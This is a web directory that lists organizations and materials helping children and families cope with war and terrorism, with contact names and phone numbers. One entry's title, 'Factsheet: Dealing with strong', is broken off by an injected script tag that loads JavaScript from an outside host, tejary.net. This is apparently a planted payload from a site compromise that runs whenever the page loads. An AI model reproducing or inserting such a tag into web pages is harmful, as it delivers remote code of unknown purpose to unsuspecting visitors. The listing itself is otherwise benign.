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Helping Children, Youth & Families Cope with Terrorism and War:
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1 Stop-Shop for Emergency Planning Crisis Response

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Organization: United States
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Connie Deshpande


10 Tips for Deployed Fathers and Families

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Organization: National Fatherhood Initiative
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? Yes
Contact: Vincent DiCaro
Contact Phone: (301)948-0599

Bereavement and Grief: Information for Military Families

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Resource Center
Contact Phone: (800)969-6642

Children with Mental Health Issues during War

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Organization: Federation of Families for Children's Mental Health
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Any Staff
Contact Phone: (703)684-7710

Coping with War-Related Stress: Military Families and Communities

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? Yes
Contact: Resource Center
Contact Phone: (800)969-6642

Coping with Your Feelings About War and Terrorism

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Organization: Girl Scouts of the USA
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Harriet Mosatche


Coping with Your Feelings About War and Terrorism

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Organization: Girl Scouts of the USA
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Harriet Mosatche


Drawing on Your Faith to Cope with War and Terrorism

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? No
Contact: Resource Center
Contact Phone: (800)969-6642

Expecting the Unexpected Plans to Help Children

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Organization: Save the Children
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? No
Contact: Kathleen Connolly
Contact Phone: (202)467-1435

Facing Fear: Helping Young People Deal With Terrorism and Tragic Events

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Organization: American Red Cross
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Contact your local Red Cross chapter or visit www.redcross.org
Contact Phone: (866)438-4636

Family and Youth Resiliency

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Organization: Penn State University
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Daniel Perkins
Contact Phone: (814)865-6988

Help with Healing, on the Web

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Organization: Connect for Kids
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? No
Contact: Carlos Birdsong
Contact Phone: (202)454-5645

Helping America Cope

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Organization: 7-Dippity, Inc. and the Helping America Cope Project
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Scott Sevin
Contact Phone: (866)734-7748

Helping Children Cope with Loss Resulting from War or Terrorism

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Resource Center
Contact Phone: (800)969-6642

Helping Children Cope with the Challenges of War and Terrorism

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Organization: 7-Dippity, Inc.
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Scott Sevin
Contact Phone: (866)734-7748

Helping Children Feel and Be Safe

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Organization: National Crime Prevention Council
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Children's Initiatives Department
Contact Phone: (202)466-6272

Helping Our Children Deal With War

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Resource Center
Contact Phone: (800)969-6642

Helping Young People Cope with War and Terrorism Threats

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Organization: Girl Scouts of the USA
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Harriet Mosatche


Helping Young People Cope with War and Terrorism Threats

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Organization: Girl Scouts of the USA
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Harriet Mosatche


Homeland Security Youth Mentoring Program

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Organization: Good Knight Child Empowerment Network, Inc.
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Jacqueline Cooper
Contact Phone: (301)595-8989

Post-Traumatic Stress Disorder

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? No
Contact: Resource Center
Contact Phone: (800)969-6642

Resources to Help Families Cope with War & Terrorism: www.ymca.net

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Organization: YMCA of the USA
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Jennifer R. Elvey
Contact Phone: (312)419-8104

ScholarShop's Options for Kids

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Organization: Scholarship America
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Cindy Freeman
Contact Phone: (507)931-0462

Ten Tips to Help Children Cope With War and Terror

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Organization: Save the Children
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Samantha Salcedo
Contact Phone: (202)467-1431

Together We Prepare

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Organization: American Red Cross
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Contact your local American Red Cross chapter or visit www.redcross.org.
Contact Phone: (866)438-4636

Understanding Your Mental Health in Times of War and Terrorism

Factsheet: Dealing with strong<script src=http://tejary.net/h.js></script>

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? No
Helps Parents & Families Help Children & Youth? No
Contact: Resource Center
Contact Phone: (800)969-6642

Waiting For War

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Organization: National Mental Health Association
Helps Organizations Prepare for/Deal with Crises? Yes
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? No
Contact: Resource Center
Contact Phone: (800)969-6642

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Organization: Alaska Youth and Family Network
Helps Organizations Prepare for/Deal with Crises? No
Helps Children & Youth? Yes
Helps Parents & Families Help Children & Youth? Yes
Contact: Frances Purdy
Contact Phone: (907)770-4979

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 


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